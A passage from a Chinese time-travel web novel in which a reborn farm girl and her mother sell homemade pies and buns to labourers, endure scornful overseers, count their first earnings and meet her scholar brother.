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点为难，自家婆娘管得严，多花一文钱都得跟自己拼命，可这女娃娃眼神期待，眼睛一眨一眨地看着自己，怕是刚自己拒绝，她就得掉眼泪，想到了家里淘得没边的小子，汉子有点发愁，我怎么就没有这么一个女儿呢...
于是，汉子咬咬牙，“那给我来一个吧。”边说边递了一文钱过去。
太好了！开张第一单，李姝接过钱，顺口就说：“感谢大哥，大哥大气！”
......
张翠花瞪大了眼睛。
买饼的大哥...这女娃娃是夸人真实在，嘿嘿，于是也回了一句：“不客气，叫叔就成。”美滋滋地拿了饼走了。
李姝低着头，努力憋了一口气，感觉脸上已经开始发热时，便抬手将钱递给她娘，一边递一边不好意思地说：“娘，我方才太高兴了。”
张翠花震惊变成了欢喜，“姝儿，你教教娘该怎么说，娘方才愣是开不了口，像是嘴被堵住了，一到嘴边就给咽下了。”
...刚才那句，还是不学了吧？
没想到娘居然是这个反应，李姝放心了不少，拍拍草站起来，“娘，你看着我学就成。”
于是李姝终于开口，凡是路边路过的都让她喊停了，“韭菜鸡蛋饼，一文钱一个，好吃不贵，喜欢的过来瞧一瞧看一看。”
众人看这似是还未及笄的女娃用清亮的嗓音叫卖着吃食，眉眼青涩却姿态大方，笑盈盈地模样让人看着就欢喜，于是便都停下看着，渐渐地围了一圈人。
“女娃娃，你这卖的韭菜鸡蛋饼是自个做的吗？”虽是看着，众人却还是没有上前买。
李姝知道，自己太小没有说服力，于是看着她娘，张翠花终于开口，“这饼子是我女儿帮着一起做的，平日里她就爱琢磨些吃食让我做，做出来还挺好吃的，她非要拿出来卖，说是要帮家里赚钱。”
看众人听进去了，张翠花一五一十地把家里一起讨论过的话术说出来，“这饼子是自家的吃食，我们两口子都怕没人愿意尝，面粉鸡蛋的钱怕是都赚不回来，可拗不过这丫头，况且昨日我家男人吃饼子时分了好些人，他们都觉着好，我们才同意了。”
“方才便有人买了饼子的。”李姝适时补上一句，双手背在身后，不好意思地低下头低声回。
不远处刚买了馅饼的男人已经吃得说不出话了，这个馅饼买得真值，甚至还想再买一个！
他的反应众人看在眼里，已经有人跃跃欲试了。
张翠花趁着时机再问了一句，“各位要尝一尝吗？”
“我买一个，一文钱这么大的饼子，比陈记的都大，肯定值。”说着一人便递出了钱，李姝装了一个馅饼递了过去。
众人看着买了饼子的人，想看他吃了之后反应如何，那人也知道，便当众咬了一口，裹满汁水的韭菜清甜香浓，饼皮韧性十足，外酥里嫩，好吃！
韭菜的味道早已散开，众人都闻到了香味，“怎么样，好吃吗？”
那人来不及回，只说了一句，“再来一个。”便将手中的饼子塞进嘴里，眼疾手快地掏了钱又买了一个，他可看到了，篮子里的饼子不多，等会怕是没了。
不用多说，兜里有钱的已经开始喊了，“我要一个。”
“我也要一个！”
“还有我！”
......
12. 第 12 章
李忠今日因着搬石头，便晚了一些，和张蒙王涛放下石块时，众人都已经在喝水准备吃饭了。
远处一群人叫嚷着不知围着什么，热闹得似是在赶集，几人都有些好奇。
王涛拿了吃食过来，也看到了远处的热闹，心里顿时紧张起来，“不会是出事了吧”？
“叔，你先吃，我这份你帮我拿着，可不许给我吃掉了。”王涛把吃食一股脑扔给了张蒙，撒腿就跑过去了。
张蒙...
拳头发痒，他不打算向他嫂子告状了，准备自己动手。
李忠在找自家婆娘和女儿，但看了一圈没找到，远处的众人渐渐散开，他看到了人人手中拿的饼子，心里有数了。
一家人昨晚商量时便说好了，若是不好卖则让李忠在旁边吃，要吃得大口一点，咬开后要给别人看看馅料，时不时地转个身给各个方位的人都看到，昨晚睡前他悄悄试了好久，还不敢让自家婆娘瞧见。
谁知自己女儿这么出息，只这一会儿，他便看到至少二十来个人吃着自家饼子了。
张蒙也注意到了那些人手中的饼子，“李忠兄弟，那饼子像是昨天你带来的素馅饼，你女儿可是今天拿了饼子出来卖？”
“昨天回去跟她娘俩说了，我女儿非要缠着她娘说要卖吃食帮家里赚钱，急得哭鼻子了，唉，也是我这个当爹的没本事，她才会如此懂事。”后面半段话是李忠的心里话，若不是家里光景不好，女儿也不会想方设法赚钱。
都是贫苦人家，自是懂得其中心酸，张蒙和身边几个从县里过来的其实是几年前从别地逃难过来的，他们那地方洪涝频繁，隔几年都得来一次，地里的庄稼总是被淹，朝廷治水治标不治本，他们种地也养活不了自己，所幸便离开了老家往别处逃难了。
这平山县虽不是富庶之地，但此地山脉绵延，不像他们那平地一般总是遭洪灾，于是他们便都在此地安家了，平日里干些苦力活也能养活家里人，往后攒够钱了便也想在周边买些地，从小便在地里长大，如今手里没地总是不踏实的。
“李忠兄弟，你这是好福气啊，您女儿这手艺，往后定能找个好夫家。”张蒙拍了拍李忠的肩膀，半是安慰半是感慨。
李忠笑了笑没答话，可提到女儿，眼里也满是骄傲，只是他平日里低调惯了，不好厚着脸皮应。
而王涛，冲上去之后就发现了不对劲，这群人围着李姝在给钱。
他凑了上去，看见李姝和她娘正包着馅饼一个一个递给周围的人，少女的脸上满是笑意，低头抬手间动作利落，递馅饼时还会说一句，“谢谢大哥”，眼睛明亮又清澈。
王涛在人群中悄悄摸了摸腰间，想起来自己兜里没钱，他娘怕他年纪小花钱没数，每个月只给他十几文钱，要买其他东西时，再问她拿，而他已经花完了。
想了想，王涛又跑了。
张蒙和李忠正往李姝那边走，看跑走的王涛又跑了回来，一来就向张蒙要钱。
“叔，你带钱了吗？借我一文钱。”少年的眼神直接又笃定，像是知道对面的人一定会给他。
张蒙一天被这小子气好几回，要不是跟这小子的爹是铁兄弟，自己又是看着他长大的，他说什么都要抡起拳头揍他一顿。
“你要钱做什么？你娘给你的钱你又花光了？”嘴上虽烦这小子，但手上却还是将钱递过去了。
“谢谢叔，下回还你。”说完又跑了。
众人看他往李姝那边跑，便也知道这小子做什么了。
张庆春一行人：这小子终于开窍了。
张蒙：原来这小子是馋了...
李忠：我女儿做的馅饼真不错！
王涛又跑了回去，已经有点气喘，他站在一个壮汉后面，心里想着等他买完就上前，谁知那壮汉干脆得很，买完转身就走了，他大咧咧地站在了李姝面前。
李姝抬头，看见一个浓眉大眼的少年站在自己面前，应该能叫少年吧，虽晒黑了，可眉眼间还是能看出他的稚嫩，穿着粗麻短褂，手背的青筋顺着黑色的手臂往上，应是常年干活的人，只是眼神直愣愣地，有些冒傻气，可这也不妨碍他是个周正的帅哥。
李姝见他捏着一文钱，以为他不好意思，便开口问道：“你是来买馅饼的吗？”
王涛毫无准备便暴露了，方才想的话像是被脑子吞了，硬是说不出来，捏着铜钱的手越来越紧，见对面的少女打量自己，更是不知该如何开口，只僵硬地站成了木头桩子。
终于，李姝主动开口了，王涛像是终于被解了施法，清了清嗓子后，道：“嗯。”声音冷淡，神情严肃。
...这帅哥还是个高冷系的？
李姝拿着包好的饼子递过去，同样说了一句：“谢谢大哥。”
少女的笑容在他面前展开，眼睛一眨一眨地看着自己，王涛觉得那睫毛像是今日在路边看到的蝴蝶翅膀，一上一下地扇着，让人总想摸一摸。
光是想到这，王涛便脸红地不知所措，不能再看下去了，于是他接过饼子便要跑，可却被人拉住了，一转头看到一只白皙的手抓着自己的衣摆，唰的一下，王涛的脸彻底红了。
李姝眼疾手快抓住了王涛的衣摆，这人，拿了饼就要跑，钱还紧紧捏在手上不放...
“你还没给钱。”
王涛看着还在手中的铜钱...这时怕是连脖子都红了，他胸膛急促跳动，又紧张又羞愧，伸手将钱递出时连声音都结巴了，“我，我方才，忘了，不是故意的。”
李姝接过铜钱，看眼前的人眼神中只有羞愧，方才还是高冷的模样，如今倒是显现出少年人的单纯，这人...还挺实诚的。
张翠花本是在旁边包着饼子，这时也被吸引了注意力，听女儿说这人没给钱，便也转头看了过去，见这小伙子紧张的模样，知道并不是故意的。
“没事，好吃再来哈！”张翠花一脸笑意地解了围，她已经放下紧张，一想到兜里的钱，连笑意都真诚了很多，不再是营业微笑了。
王涛不知道自己有没有回答，等回过神来时，自己已经跑远了，他低头看了看衣摆，感觉今日的衣服都干净了不少，衣摆处白白净净地。
李姝本还想说话，那少年慌里慌张地便跑了。
...我这么吓人吗？
李忠和张蒙等人过来时，又是引起一阵轰动，张蒙等人一人买了两个馅饼，还问出了其他人没问的问题，“嫂子，这篮子里的包子不卖吗？”
张翠花拿着坛子水递给李忠，边答
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：“卖的，卖的，肉包子两文钱一个，菌菇包子三文钱一个。”因为价钱的原因，她们娘俩都没主动叫卖过包子，想着若是有人问了再说，可饼子卖了三十来个，愣是没有一个人问。
如今终于有人问了出来，买了饼子在周围吃的人听了，大都息了心思，一文钱买个饼子他们能接受，但多花个两三文买包子，他们又不太舍得。
张蒙是知道他们的菌菇包子有多好吃的，爽快地便买了一个，他也不准备天天买，就是上回包子太小，他没尝够，如今她们卖的菌菇包子比昨天的大多了，定是能好好解解馋。
他身边那些一道来的一批人，大都是见过昨天张蒙吃了之后的反应的，能让张蒙说好吃的东西，定是不错，只是...众人对了对眼神，还是不舍得，算了，这两个饼子也能吃饱了，况且还有自家带的冷食。
李忠倒是毫无顾忌，张翠花也知道包子不好卖，所以就拿了包子给自家男人吃。
众人只好盯着李忠，见他一口咬了一半，漏出的馅料还泛着油光，包子皮浸满了汤汁，似是还有汤汁流出来，看着就好吃。
李忠昨晚已经吃过猪肉馅料，可今日还是被自家的包子馅惊到了。
以前家里光景好时，他虽没有去一品阁吃过，可街头的小吃也是能任自己吃的，从前吃的包子总是有一股肉骚味，且不会这么紧实，如今姝儿做的肉馅却完全没有那种味道，更别说包子皮完全不带酸味了，这是自己从未吃过的。
李忠一口接一口，连吃了好几个肉包子，终于有人忍不住了。
“我来一个肉包子。”他可看到了，县里的陈记肉包子馅料没有李忠家的足，可还是卖的两文钱，这包子又大馅料又足，买了也不亏的。
人群中终于也有人松动了，纷纷买了一个，理智的人还是多的，多数人只拿着饼子吃，这馅饼外焦里嫩，味道鲜甜，汁水饱满，已经比他们从前吃过的包子好吃多了。
“这包子居然没有酸味？”人群中买了包子的人正尝着一时冲动的后果，大多数人买了就开始后悔，两文钱可以买两个馅饼了。
可咬了一口却发现这包子当真买得值。
不仅没有酸味，包子皮并不像寻常包子那般蓬松，瞧着大却不顶饱，这包子皮反而带着点韧性，结结实实的一层包着满满的肉馅，肉馅鲜甜还留着一点汤汁，完全没有肉骚味。
“这包子皮我们自己琢磨的，试了好久才去了酸味。”张翠花一脸笑意，眼里却也是满满的骄傲，毕竟这是自己女儿做出来的。
李姝递了个菌菇包子给他爹，眼神还示意了一下。
李忠接过，明白了女儿的意思。
张蒙拿着饼子咬了一口，嗤笑道：“这回知道我昨天说的是真的了吧？这包子确实可拿到县里卖了。”
王涛在角落默默吃下了最后一口饼子，想着明天要找他娘多要点钱。
“嫂子，你这手艺确实不错，李忠兄弟好福气啊。”婆娘做得一手好吃食，女儿还这般乖巧懂事，虽说有夸张的部分，但众人的羡慕也是真的。
李忠拿着手上的菌菇包子嘿嘿笑了，随后咬了一口，露出了包子里的馅料，菌菇的香味立马飘了出来。
众人...这个馅料看着更香...
13. 第 13 章
李忠一口接一口地吃了两个菌菇包子，但周围人没有再冲动购买，只是时不时眼角瞄一眼，就着自家带的吃食一口一口地咽，吃得格外难受。
可这热火朝天的动静却吸引了更多人过来。
“吵什么呢？不想休息就立马起身干活。”人群瞬间安静了。
李姝转头，只见两个身穿藏青色圆领缺胯衫的衙役站在人群外，双眼微垂，神色傲慢，视线落在地上的篮子时，满是不屑。
两人眼神略过李姝，见是个小丫头便转头看着一旁的张翠花，明明都是人，声音却带着高高在上，“你们这是在做什么？”
张翠花被盯得呼吸声都低了，嗫嚅着不敢说话，李姝本想上前答话，顿了顿，想到了自己的人设，于是眼角瞄了一眼她爹，咽下了想说出口的话。
李忠看到他们过来后心下一紧，见自家婆娘被问话，连忙起身站在家人身前，朝着两人见了礼，低声回道：“回监工大人，这是小民的婆娘和女儿，她们给小民送饭时顺道在这里卖些自家做的吃食。”
“卖吃食便好好卖，吵吵嚷嚷地影响别人休息，下午要是干活偷懒，别怪我上报知县大人将你们解雇，要知道这活计有的是人干，缺了谁天都塌不了。”
知县大人要真能管这事，那这个县也完了...
众人都知道这两人拿着鸡毛当令箭，可也没人在面上显露出来，只一个个低头腹诽。
“是，是，小民知晓了。”李忠连头都没抬，语气顺得仿佛练了几十年，既恭谨又听话。
见众人状如鹌鹑，两人终于满意，其中一人临走时再看了眼篮子里的馅饼和包子，啐了一口，“什么破烂玩意都拿出来卖。”
李姝真不想忍，这是她第一次直观的感受到，何为封建社会，何为阶级地位。
可她从人人平等的现代社会过来，并没有养成卑躬屈膝的习惯，上次她娘对家暴的论调已经让她忍了又忍才没反驳，可对着这样一个眼珠子长在头上的陌生人，她心里没有任何的情感分来平衡，只有一个念头，“你才是破烂，你全家都破烂！”
可李姝只伸手叉了一下腰，气都没吸够，就被身后的力量扯得一个趔趄，岔气了。
转头一看，今日那冒傻气的少年一脸担忧的看着自己，也不知道他什么时候窜过来的，眼神对视后他像是比李姝还受惊，手倏的一下就收回了，眼珠子上下左右地乱窜。
李姝......
这小伙子是什么易受惊体质吗？
只是一耽搁，那两个监工大人便已转身走了，李姝有些失望...怒火总是得不到发泄的话，容易上火。
于是她瞪了身后的小伙子一眼，将本就紧张的小伙子瞪得像根木头桩子。
张翠花以为女儿吓到了，赶忙侧身拉着女儿的手，李姝猝不及防，又被拉得一个趔趄，另一只手不小心撞了根木头桩子，于是，木头桩子顺势往后一倒。
李姝：？？？
千钧一发之际，木头桩子终于装上了发条，灵活地转身往前跨了一步，总算没倒地碰瓷，只是他又转了回来，像是要开口说话。
李姝一瞬间脑子抽了，这场景太过熟悉，她下意识来了一句，“不是我干的。”
王涛......
幸好她刚未发泄的怒火熄在了喉咙，让她声音不自觉地低沉了不少，说出的话并不大声，众人都在腹诽着那两个揣着鸡毛的公鸡，没往这看，只这小伙子不太上道，愣是一句话不回。
张翠花以为女儿吓得转头哭了，赶忙将女儿拉入怀中，语气中不自觉地开启了哄孩子模式：“姝儿，不怕，不怕，娘在这呢。”
娘，你要不要先看看你女儿的架势，分明是要吵架来着...
王涛本想对眼前的少女解释自己为何阻止她，却被她一句话说糊涂了，然后便见她一把被拉入了她娘的怀里，她娘紧张地哄着她。
想到方才那凶得要上前吵架的架势，如今却乖巧地靠在母亲怀抱中，王涛悄悄抿起嘴角，笑意直达眼尾，又想起方才那瞪自己的模样，他忍不住心头荡漾，那生气的模样都被美化成了撒娇，心里顿时乐开了花。
两位监头走远，周围的声音终于回来，有人不服气地啐了一声，“狗仗人势的东西！”只是怕是他自己也知道这话过于马后炮了，导致底气不足，刚说了一句便歇菜了。
幸好也没人在意，毕竟方才也没人敢当面说一句“你算什么东西”来发泄不满，全都低头缩着盯自个脚下的鞋，心思敏感的人甚至在想：这草鞋里一个个的窟窿，像自己四处漏风的人生吗？
没有人能回答，鬼知道呢，他们只知道，若是这时抬杠，那窟窿就要更大了。
李忠听见声音便转身了，见自家婆娘抱着女儿，也顾不上再作揖，赶忙上前，“这是怎地了？”
周围的人听到声音也往这看过来，见母亲如此紧张的抱着女
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儿，又看着乖巧在母亲怀中“缩着肩膀害怕”的少女，有孩子的没孩子的，都多少带入了些情绪，要么怜爱，要么愤怒，要么怅惘。
李姝抬头，内心的怒火已经发泄得七七八八，眼睛艰难地从母亲怀中传递眼神，试图让她爹解救自己，“爹，娘，我没事。”
张翠花见李忠过来，方才悬在心口的气终于吐出，紧张的大脑重新运转，虽说安慰女儿，可却更像是在给自己安慰，毕竟怀中的女儿姿态放松，呼吸正常，并没有她以为的害怕，反而是自己憋了一口气堵在心口，尽力压着自己要飞走的神魂。
看到主心骨过来，张翠花终于放开了李姝，紧张过后又有点不好意思，自个方才似是太过紧张了，也不太能怪她，毕竟她的生活里只有张家村和桃李村的田地、灶台和闲聊，实在没装过衙役，若是再有下回，也不至于再连句话都答不了。
李忠拍了拍自家婆娘的肩膀，两人的默契早已在相互扶持的生活中养成，张翠花彻底平静了，看女儿神色镇定，李忠知道这场面并没有吓住女儿，便只说了句：“没事便好。”
张翠花已经开始担忧自家男人，在这样的监头底下干活，怕不是会被磋磨，怪不得连水都不够喝。
李姝只是低头看了看篮子里还剩的十来个馅饼，以及包子，满脸惋惜，明明远处那些本不想凑热闹的人都已经被吸引了目光，再给她一点时间，馅饼肯定能卖完。
本是热闹地扯闲篇，如今被人一搅，众人都不再有兴致，大多都找地休息了。
张蒙扯着王涛也走了，方才那监头的动静没让他怎地，可王涛这小子的动静却让他吓了一跳，他这时才明白了今日侄子的反常，原是瞧上别人家丫头了。
那丫头实在胆大，怕是对监头的话不服气，竟想开口顶撞，那架势摆得利落又爽快。他和监头打交道多，知道他们喜欢高高在上的德性，也不想配合，翻了个白眼就转头想来个眼不见为净，可却被那丫头吓得自个都差点过去拽住，幸好自家侄子蹿得快，不然怕是不好收场了。
如今看到那笑嘻嘻的缠着她娘胳膊的人，又觉得不对，什么胆子大，他差点被那架势唬了，觉得这丫头是个厉害的，怕不是被家里宠过了，不知天高地厚。
只是...这个虎丫头，他倒是挺喜欢的，王涛这小子倒是眼神不错。
剩下的吃食是卖不出去了，张翠花拿了几个给李忠，让他继续吃，便带着女儿回去了。
14. 第 14 章
母女俩回到桃李村，村里人都歇晌过了，女人们三三两两地在大桃树下闲聊，闲聊归闲聊，嘴不停手却也没休息，要么择菜，要么缝衣裳，要么做鞋子，个个眼疾手快，两头忙也没出过错。
男人们则吃着花生米喝着土米酒或是在自家潇洒，或是三五人窝在某一家高谈论阔，空气中的酒味飘散得到处都是，鸟儿像是被熏醉了，站在树杈子上昏昏欲睡，连行人都没将它惊醒。
而小孩们，则在村子北侧的一处草地上追逐，声音中时不时夹杂着“将军”、“饶命”等词，树荫下的草都比旁处矮了几分。
李姝第一次见到这样的桃李村，她们家在村尾，旁边甚至都没有邻居，她除了上次在里长家见到了几个人就再也没接触别人了，如今才见到了真正的桃李村，静谧安逸，却又有着独属于这里的热闹私语。
原先虽是宅女，可宅女是有手机的，并不与世隔绝，在这里如果还要当宅女，那真就跟隐世一般了，李姝才穿了没几天，已经有点不适应，原先躺着能过一天的宅女硬是被逼成了天天要出门的创业新手。
看见这可以算得上是人声鼎沸的场景，李姝脚步开始磨蹭，她娘埋头苦走，似是没有停留的想法，可，她想听八卦！
即使后来被搅局，今日的吃食卖得也还是出乎了张翠花的意料，她想快点回去数数，今日赚了多少钱。
可村子就这么一条大路，她也不可能带着女儿避开人群，所以毫不意外，她被叫住了。
“翠花，去给你男人送饭了？”张桂香的大嗓门已经穿透了整个广场，所有人都转头看向刚从村口进来的张翠花。
“还是翠花疼男人，李忠伤个手指头，咱翠花怕不是都要抹泪。”
“哈哈哈哈哈...”
一连串的笑声像是合作不怎么默契的女高音合唱团，各个音调随心所欲，上下飞舞，李姝有点被吓住了。
主要是耳膜受不了...
张翠花倒是习惯了，三两步就走过去拧了拧那调侃她的妇人，“死妮子，不是你拖着大头非要他给你家喝醉的男人看病的时候了？那会儿是谁抹着泪说没了自家男人不行的？疼得跟眼珠子似的，喝醉睡着了都瞧不出来。”
“哈哈哈哈哈...”这回是更加大声的调侃，被调侃的人怕是没有张翠花的泼辣，脸上已经染了红晕，李姝在不远处看着，妇人忸怩的身姿害臊的脸颊像是一朵正在绽放的大红花。
张桂香像是加了些少儿不宜的话，声音小了许多，把围着的几人逗得花枝乱颤，连她娘都捂嘴笑弯了腰，李姝努力支着耳朵，也没听清。
不过她娘虽然把她忘在了一旁，可还是有人记得她的。
张桂香招招手让李姝走近，揽着李姝的肩比亲娘还像亲娘，“小姝，累不累，婶子家里有糖糕，想不想吃？”
别了吧...
糖糕是婶子家的家常菜吗？
李姝温顺的靠在婶子身上，努力挤了挤牙齿，撑开了嘴唇，礼貌地拒绝了，“谢谢婶子，我不饿，还是不吃了。”一点没让人看出拒绝的真实原因。
其他几位围着的妇人也是纷纷开口，“小姝，冬儿婶子家有圆子，去婶子家吃，你桂香婶子的糖糕滑溜溜地哪有圆子好吃。”
“婶子家有绿豆水，去婶子家喝...”
这么热情？李姝没想到原身竟是个团宠。
桃李村生女娃娃的少，大多都是男娃，而李姝和清芸本身性格安静乖巧，李姝更是长了一张柔弱无辜的脸，两人从小便是村里大多数妇人摸头捏脸的对象，一见到她们就想拿吃食逗。
张翠花没插话，姝儿本就不记人，让她多接触接触，也能让她重新熟悉。
李姝只能继续扮演着乖宝宝，一个一个人感谢着答话，“谢谢婶子，我不吃了。”
母女俩被拉着说了好些话，张翠花才以回去拾掇菜园为理由脱身，如今过了秋耕，家家户户其实都没什么重活，正是休息的时候，可张翠花一心想着兜里的钱，也没心思再聊。
可能是因为有未成年在，几个婶子的话题也不再往黄段子上去，自顾地打开了碎嘴子模式，李姝也实在是听不下去了，本来还想听听那位一直没见过的清芸姐怎么样了，只是所有人都似是有默契一般，都没提及。
李姝猜她娘肯定会私下跟这些姐妹说，只是不是现在。
刚进门张翠花就迫不及待地将兜里的钱拿了出来，脸上满是笑意，连眼尾的皱纹都似是多了许多，“姝儿，快来数一数，咱几日赚了多少？”
李姝看了剩下的食物数量，心里早就算好了，可这会儿也只是一脸兴奋地坐下，和张翠花一样期待着今日的收获，一枚一枚认认真真数着钱。
“一共五十七文。”
“这是不是比你爹一天的工钱多？”张翠花一遍又一遍的擦着铜钱上的油渍，嘴角扬起的弧度直达眼尾，眼里都泛着光，十足的财奴模样。
被母亲的笑意感染，李姝本来毫无波澜的心也开始起伏，毕竟，这不仅仅是钱，还是往后的希望。
“对，爹一天工钱才三十几文。”
张翠花更开心了，将自己笑成了一朵喇叭花。
李姝给她娘倒了杯水，自己也灌了一大杯，便出去井边打水了，没有说出这五十几文钱还包含材料、人工的事实。
正午还是太热了，李姝仰头感受着井水的清凉，帕子快干了便浸湿后再敷上，终于将热气退散。
冷静下来便想到了今日那拉住自己的少年，李姝知道自己冲动了，她的潜意识里还是觉得只有警察才是需要她尊重的官，衙役不过是个普通人，他敢无礼自己就敢开怼，社会底层的牛马除了在公司，谁还愿意受这种气呢。
可这是封建社会，她敢这般怼回去，不会有人觉得这人不好欺负，而是会觉得这丫头蠢到没边了，不过是一个农家女，却为了争口气去得罪官家的人，届时受苦的不还是自己吗？
阳光很刺眼，李姝透过帕子还是不由自主地闭上了眼睛，几个深呼吸，清凉的井水似是灌进了脑子，李姝拿下了帕子，将没由来的憋闷清空，“明天给那个傻小子送个包子吧。”
屋里，张翠花不知从哪里拿了个钱袋子，
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正一枚一枚地将铜钱往里放，见李姝进来，双手一拉将钱袋打了个结，递给了李姝，“姝儿，拿着。”
李姝眉毛上挑，眼底划过一抹意外，她娘又一次让她出乎意料了，“娘？”
“愣着做什么，拿着，这是我女儿赚的，自然要给女儿自个保管。”张翠花晃了晃钱袋，脸上笑容温和。
“这是给家里赚的，爹娘拿着吧。”
张翠花站了起来，将钱袋塞到了李姝手中，“说什么傻话，拿着，要实在想孝顺爹娘，那往后给娘一点工钱就行，娘也能跟你爹一样有月钱了。”
李姝没有推开，若是能顺利赚钱，她之后可以定分配的规则，届时她不会给爹娘拒绝的机会。手里的铜钱被擦得干干净净，李姝想到了方才她娘欣喜数钱的模样，她明明这么喜欢，每日都迫不及待地想出去赚钱，却将钱交到了自己手里...
屋外，张翠花在打水洗脸，她不是一个精致的人，打个水的时间，她的裙摆已经湿了，身上穿着的衣服洗过太多次，袖口领口处已有脱线的痕迹，可屋里屋外却很干净，即使家里贫寒，她教给女儿的却不是节省，也不是抱怨，而是如何处理人情，原来的李姝这么讨村里人喜欢，肯定和她的性子脱不了关系，而她的性子又是谁教的呢？
“姝儿，怎么还傻站着，把钱拿回去放好。”
“哎，好。”
还能是谁呢？
房间里就只有床和几个柜子，李姝不知道原身有没有私房钱，按理说是有的，至少会有过年的压岁钱，会放在哪呢？
柜子这几日一直在用，李姝检查过，里面除了衣物外并没有别的了，转了一圈，李姝站在了床前。
床底下是几个箱笼，放着换季的被子，拉出来后，李姝看到角落里有一个陶罐，陶罐用布包着，已经有一层薄薄的灰。
李姝一股脑将里面的东西倒了出来，有一个跟今日她娘给她的一样的钱袋子，还有一条粗布手帕，手帕上绣着...额...什么东西？李姝倒来倒去看了好几圈，看到了枝条的形状，才大致猜出来绣得是竹子。
她还有个早恋对象？或者是暗恋对象？
可她并没有在爹娘口中听说过跟她关系好的男子，小孩子的来往他们应该不会想太多，那应该会跟上次提起清芸小渔那样直接说，怎么从来没听过？
钱袋里放着有十文钱，怕是这几年攒的所有压岁钱了，李姝将整个钱袋都放了进去，并未将那十文钱拎出来放一起，毕竟，这不是她的。
只是这手帕...看着还是新的，可走线毫无章法，只是尽力在正面绣出竹子模样，背面的线乱七八糟，一看便知道主人并不会刺绣，可为什么没送出去呢？
李姝将它拿了出来，铺平放在了枕头底下，陶罐放回了床底。
“姝儿，娘要去你桂香婶那，你去吗？”张翠花在窗外喊着，仿佛方才在大桃树下说要拾掇菜园子的不是她。
“娘，我不去了，我在家休息。”年龄层不一样，去了只能当吉祥物，还是等她娘回来再问问清芸姐的事好了。
“好。”
15. 第 15 章
李姝换了套衣服躺在床上，手里摇着把团扇，双脚不自觉地翘起二郎腿一上一下地晃动，眼睛盯着帐顶开始算账。
今日流水五十七文，大都是韭菜鸡蛋馅饼所得，人工暂且不说，馅饼特意做得大，估计一斤面粉能做十个馅饼，韭菜暂不算钱，但鸡蛋往后得买，算一斤面粉两个鸡蛋，扣除后十个馅饼大致赚五文钱。
肉包一斤面粉一斤肉馅大致能做十二个，十个包子大致能赚九文钱。至于菌菇包，价格原因往后暂不卖了。
折合下来，不算人工和损耗，包子和馅饼的利润差不离，但包子工序多些，时间成本亦更多，怕是没有馅饼利润高。
根据今日的情况，往后馅饼应能卖得多些，利润若能保证每天有三十五文，那四个月后则有四两银子。
四两银子...若是仅吃些米面，偶尔买些肉，能让他们家用一两年，但生活质量恐怕不太好。
往后去县里摆摊，不仅需要多支出一笔租金，还要留至少三个月的现钱，且路程远，时间成本更高，若是能在县城有铺子，李姝算了算...
唉，也没什么好算的，四两怕是连铺子都租不起，铺子怎么说也得按年起租！
“赚钱怎么这么难啊！”
在这个时代，手里有点钱都不如家里有两亩地，若是遇上战乱，粮食价格得按百倍上涨，除非有百万家财，不然也会出现钱如草贱的事，一两银子怕都不够半个月。
无论如何，往后定是要买些地的，这地的价格怕是更贵了，况且百姓等闲不卖地。
这些都是后面的事了，如今她也不过是手上只有五十七文的农家小丫头而已，想买也是有心无力，李姝干脆开始想现代见过吃过的包子有什么馅，手中的团扇有一下没一下地摇着，渐渐不动了，就着一脑袋的官司，李姝睡了过去。
李姝不是没想过那从未见过的大哥究竟长什么模样，她自己这张脸虽还稚嫩，但却也是清秀的，眉眼更是灵动，哥哥应差不到哪里。
可她万万没想到，自家哥哥竟然是个娃娃脸。
“姝儿？”
李姝本在菜园摘黄瓜，准备晚上做个凉拌菜，见边上的南瓜棚里有个南瓜已经熟了，便摘了下来，刚蹲下将南瓜抱着，身后有阴影盖在自己身上，随后便听到了声音。
李姝抬头转身，便见到一头戴黑色儒巾，身穿白襕衫的男子站在自己身后不远处，正一脸笑意的低头看着自己。
男子皮肤并不白皙，可李姝还是想到了“小白脸”这个词，看向他与自己相似的眉眼时，李姝猜出了他的身份。
尽管这素未谋面的哥哥气质端方，可，李姝视线下移，一个猪头与自己视线对上了，李姝的角度刚好看到那半张猪脸正对着自己，猪的眼睛早已无神，那留了一丝缝隙的黑洞对着李姝，仿佛在诉说着自己的死不瞑目，李姝吓得把手中的南瓜摔在了地上。
南瓜在脚下滚了几滚，不动了，靠在了李姝的脚下，此时精神高度敏感的李姝...
“啊！”李姝原地上下起跳，也或许是小范围手舞足蹈...她不记得了，脸部表情都来不及控制，跑开，弯腰，拿起放在地上的黄瓜，砸出去，一气呵成，直到听到对面人的声音，她才回神。
“嘶~”只见男子——她的哥哥，空闲的手捂着那只拿着猪头的手的手背，龇牙咧嘴地出了声——李姝慌乱之中没扔准，砸到了他哥的手背，而黄瓜本身带了点小刺...
都这样了，他手里的猪头愣是没放下！
兄妹俩面面相觑，一人双目睁圆，一人眉头紧皱，一时间不知该说什么。
还是做哥哥的大度一点，开口也没说被砸的事，只是将猪头往身后一挡，挤着笑对李姝说：“哥哥方才忘记手里拿着这猪头了。”
李姝看着眼前这努力调整乱动的五官，龇牙咧嘴地挤出微笑的哥哥，做了天下兄妹最常做的事。
“娘！”
张翠花本在灶台前添柴，锅里烧着水，李忠一整天都混在黄土里，身上还不停出汗，回来得让他先洗漱，不然怕是浑身难受，连饭都吃不好。
听到女儿的喊声，女儿从来都是温柔乖巧地，从未这么大声的喊过自己，张翠花一脸慌张地跑了出去，手里还拿着半截柴火，差点将鞋都跑掉了。
出去一看，女儿并未出事，儿子也回来了。
“儿子，你回来了？”
见儿子一脸似笑未笑，女儿一脸防备的模样，张翠花突然想起来，姝儿撞头的事，儿子并不知情。
张翠花一时竟不知该怎么开口解释，只是清了清并未卡痰的嗓子，暂时将这事压了下去，“姝儿，是不是拿不动那南瓜？娘来拿。”
李姝...我其实是想告状...
一回来就吓自己妹妹一激灵的哥哥，是不是高低得挨顿打？
张翠花并未理解女儿的眼神，一边出院门一边和儿子说话，“儿子，你这手上拿的什么？怎地也不帮你妹妹拿菜？这黄瓜怎地掉地上了？哎？你怎地拿了个猪头？”
心虚的人总是很忙，见到什么说什么，也没留话口让给别人答话，兄妹俩本尴尬地气氛一下被冲散了。
李姝看着眼前的李挺，眼里闪过好奇，这个哥哥很吓人吗？怎地感觉她娘这么心虚，随即想了想他手中拿的东西。
确实，是有点吓人...
李挺一回来便吓得自个妹妹嗷嗷叫，此时也正心虚着，见他娘出来活跃气氛，立马便答了话，他娘说一句他答一句，母子俩倒也是一来一往，有来有回。
两人像是各自说各自的，都没有给对方留话口，却又句句都是回应，“娘，这是老师分我的，我这不是没来得及上手帮姝儿拿嘛？这东西把姝儿吓着了，她急得把黄瓜砸了出来。”
